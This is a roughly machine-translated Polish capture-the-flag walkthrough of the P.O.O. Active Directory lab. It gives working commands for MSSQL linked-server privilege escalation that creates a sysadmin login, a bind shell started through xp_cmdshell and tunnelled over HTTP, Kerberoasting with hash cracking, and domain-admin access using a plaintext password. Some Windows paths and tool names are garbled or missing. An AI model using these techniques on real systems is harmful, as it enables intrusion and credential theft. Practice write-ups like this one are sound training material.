W tym artykule przeanalizujemy przejście nie tylko maszyny, ale całego mini-laboratorium z witryny
Jak podano w opisie, POO jest przeznaczone do testowania umiejętności na wszystkich etapach ataków w małym środowisku Active Directory. Celem jest skompromitowanie dostępnego hosta, eskalacja uprawnień i ostatecznie złamanie zabezpieczeń całej domeny poprzez zebranie 5 flag w tym procesie.
Połączenie z laboratorium odbywa się przez VPN. Zaleca się, aby nie łączyć się z działającego komputera lub z hosta, na którym znajdują się ważne dla Ciebie dane, ponieważ trafiasz do sieci prywatnej z ludźmi, którzy wiedzą coś o bezpieczeństwie informacji 🙂
informacje organizacyjne
Stworzyłem, abyś mógł dowiedzieć się o nowych artykułach, oprogramowaniu i innych informacjach
Wszystkie informacje są podane wyłącznie w celach edukacyjnych. Autor tego dokumentu nie ponosi odpowiedzialności za jakiekolwiek szkody wyrządzone komukolwiek w wyniku wykorzystania wiedzy i metod uzyskanych w wyniku studiowania tego dokumentu.
Intro
Ta gra końcowa składa się z dwóch maszyn i zawiera 5 flag.
Podano również opis i adres dostępnego hosta.
Zaczynajmy!
Flaga rozpoznawcza
Ta maszyna ma adres IP 10.13.38.11, który dodaję do /etc/hosts.
10.13.38.11 poo.htb
Pierwszym krokiem jest skanowanie otwartych portów. Ponieważ skanowanie wszystkich portów za pomocą nmap zajmuje dużo czasu, najpierw zrobię to za pomocą masscan. Skanujemy wszystkie porty TCP i UDP z interfejsu tun0 z szybkością 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Teraz, aby uzyskać bardziej szczegółowe informacje o usługach działających na portach, uruchommy skanowanie z opcją -A.
nmap -A poo.htb -p80,1433
Mamy więc usługi IIS i MSSQL. W takim przypadku poznamy prawdziwą nazwę DNS domeny i komputera. Na serwerze WWW wita nas strona główna IIS.
Przejrzyjmy katalogi. Używam do tego gobustera. W parametrach określamy liczbę strumieni 128 (-t), adres URL (-u), słownik (-w) oraz interesujące nas rozszerzenia (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
W ten sposób mamy uwierzytelnianie HTTP dla katalogu /admin, a także dostępny jest plik przechowywania usług pulpitu .DS_Store. .DS_Store to pliki przechowujące ustawienia użytkownika dotyczące folderu, takie jak lista plików, lokalizacja ikon, wybrany obraz tła. Taki plik może trafić do katalogu serwera WWW twórców stron internetowych. W ten sposób uzyskujemy informacje o zawartości katalogu. Do tego możesz użyć
python3 dsstore_crawler.py -i http://poo.htb/
Otrzymujemy zawartość katalogu. Najciekawszy jest tutaj katalog /dev, z którego możemy zobaczyć źródła oraz pliki db w dwóch gałęziach. Ale możemy użyć pierwszych 6 znaków nazw plików i katalogów, jeśli usługa jest podatna na IIS ShortName. Możesz sprawdzić tę lukę za pomocą
I znajdujemy jeden plik tekstowy, który zaczyna się od „poo_co”. Nie wiedząc, co dalej, po prostu wybrałem ze słownika katalogów wszystkie słowa zaczynające się na „co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
I iteruj za pomocą wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
I znajdź właściwe słowo! Patrzymy na ten plik, zapisujemy poświadczenia (sądząc po parametrze DBNAME, pochodzą one z MSSQL).
Przekazujemy flagę i awansujemy o 20%.
hmm flaga
Łączymy się z MSSQL, ja używam DBeaver.
Nie znajdujemy nic ciekawego w tej bazie danych, stwórzmy SQL Editor i sprawdźmy, jacy są użytkownicy.
SELECT name FROM master..syslogins;
Mamy dwóch użytkowników. Sprawdźmy nasze uprawnienia.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Nie ma więc żadnych przywilejów. Zobaczmy połączone serwery, szczegółowo pisałem o tej technice
SELECT * FROM master..sysservers;
Znajdujemy więc inny serwer SQL. Sprawdźmy wykonanie poleceń na tym serwerze za pomocą openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Możemy nawet zbudować drzewo zapytań.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktem jest, że kiedy wysyłamy żądanie do połączonego serwera, żądanie jest wykonywane w kontekście innego użytkownika! Zobaczmy, jaki kontekst użytkownika uruchamiamy na połączonym serwerze.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
A teraz zobaczmy, w jakim kontekście wykonywane jest żądanie z połączonego serwera do naszego!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Zatem jest to kontekst DBO, który musi mieć wszystkie uprawnienia. Sprawdźmy uprawnienia w przypadku żądania z połączonego serwera.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Jak widać mamy wszelkie uprawnienia! Stwórzmy naszego administratora w ten sposób. Ale nie przepuszczają ich przez openquery, zróbmy to przez EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
A teraz łączymy się z poświadczeniami nowego użytkownika, obserwujemy nową bazę danych flag.
Oddajemy tę flagę i idziemy dalej.
Flaga wstecz
Pobierzmy powłokę za pomocą MSSQL, używam mssqlclient z pakietu impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Musimy zdobyć hasła, a pierwszą rzeczą, którą już poznaliśmy, jest strona. Potrzebujemy zatem konfiguracji serwera WWW (nie możemy wrzucić wygodnej powłoki, najwyraźniej firewall działa).
Ale dostęp jest zabroniony. Chociaż możemy odczytać plik z MSSQL, musimy tylko wiedzieć, jakie języki programowania są skonfigurowane. A w katalogu MSSQL dowiadujemy się, że jest Python.
Wtedy nie ma problemu z odczytaniem pliku web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Po znalezieniu poświadczeń przejdź do /admin i podnieś flagę.
flaga przyczółka
W rzeczywistości korzystanie z firewalla wiąże się z pewnymi niedogodnościami, ale przeglądając ustawienia sieciowe, zauważamy, że używany jest również protokół IPv6!
Dodaj ten adres do /etc/hosts.
dead:babe::1001 poo6.htb
Przeskanujmy ponownie hosta, ale tym razem przez IPv6.
A usługa WinRM jest dostępna przez IPv6. Połączmy się ze znalezionymi danymi uwierzytelniającymi.
Na pulpicie jest flaga, podaj ją.
Flaga P00ned
Po rekonesansie na hoście z
setspn.exe -T intranet.poo -Q */*
Wykonajmy polecenie przez MSSQL.
W ten sposób uzyskujemy SPN użytkowników p00_hr i p00_adm, co oznacza, że są oni podatni na atak typu Kerberoasting. Krótko mówiąc, możemy uzyskać skróty ich haseł.
Najpierw musisz uzyskać stabilną powłokę w imieniu użytkownika MSSQL. Ale ponieważ mamy ograniczony dostęp, mamy połączenie z hostem tylko przez porty 80 i 1433. Ale możliwe jest tunelowanie ruchu przez port 80! Do tego używamy
Ale kiedy próbujemy uzyskać do niego dostęp, pojawia się błąd 404. Oznacza to, że pliki *.aspx nie są wykonywane. Aby pliki z tymi rozszerzeniami działały, zainstaluj program ASP.NET 4.5 w następujący sposób.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
A teraz, gdy uzyskujemy dostęp do tunelu.aspx, otrzymujemy odpowiedź, że wszystko jest gotowe.
Zacznijmy od klienckiej części aplikacji, która będzie przekazywać ruch. Przekierujemy cały ruch z portu 5432 na serwer.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Używamy łańcuchów proxy do wysyłania ruchu dowolnej aplikacji przez nasz serwer proxy. Dodajmy to proxy do pliku konfiguracyjnego /etc/proxychains.conf.
Teraz wgrajmy program na serwer
Teraz, poprzez MSSQL, uruchamiamy nasłuchiwanie.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
I łączymy się przez nasze proxy.
proxychains rlwrap nc poo.htb 4321
I weźmy haszysz.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Następnie musisz iterować po tych skrótach. Ponieważ rockyou nie miał słownika danych haseł, użyłem WSZYSTKICH słowników haseł dostępnych w Seclists. Do wyliczania używamy hashcata.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
I oba hasła znajdujemy, pierwsze w słowniku dutch_passwordlist.txt, a drugie w Keyboard-Combinations.txt.
I tak mamy trzech użytkowników, przechodzimy do kontrolera domeny. Najpierw znajdźmy jego adres.
Świetnie, poznaliśmy adres IP kontrolera domeny. Dowiedzmy się, wszyscy użytkownicy domeny, a także który z nich jest administratorem. Aby pobrać skrypt, aby uzyskać informacje PowerView.ps1. Następnie połączymy się za pomocą evil-winrm, podając katalog ze skryptem w parametrze -s. A potem po prostu załaduj skrypt PowerView.
Teraz mamy dostęp do wszystkich jego funkcji. Użytkownik p00_adm wygląda jak użytkownik uprzywilejowany, więc będziemy pracować w jego kontekście. Utwórzmy obiekt PSCredential dla tego użytkownika.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Teraz wszystkie polecenia Powershell, w których określamy poświadczenia, będą wykonywane w imieniu p00_adm. Wyświetlmy listę użytkowników i atrybut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
I tak nasz użytkownik jest naprawdę uprzywilejowany. Zobaczmy, do jakich grup należy.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
W końcu potwierdzamy, że użytkownik jest administratorem domeny. Daje mu to prawo do zdalnego logowania się do kontrolera domeny. Spróbujmy zalogować się za pomocą WinRM za pomocą naszego tunelu. Byłem zdezorientowany błędami wydawanymi przez reGeorg podczas korzystania z evil-winrm.
Następnie używamy innego, łatwiejszego,
Próbujemy się połączyć i jesteśmy w systemie.
Ale nie ma flagi. Następnie spójrz na użytkownika i sprawdź pulpity.
Na mr3ks znajdujemy flagę i laboratorium jest ukończone w 100%.
To wszystko. Jako informację zwrotną skomentuj, czy dowiedziałeś się czegoś nowego z tego artykułu i czy był on dla Ciebie przydatny.
Możesz do nas dołączyć o godz
Źródło: www.habr.com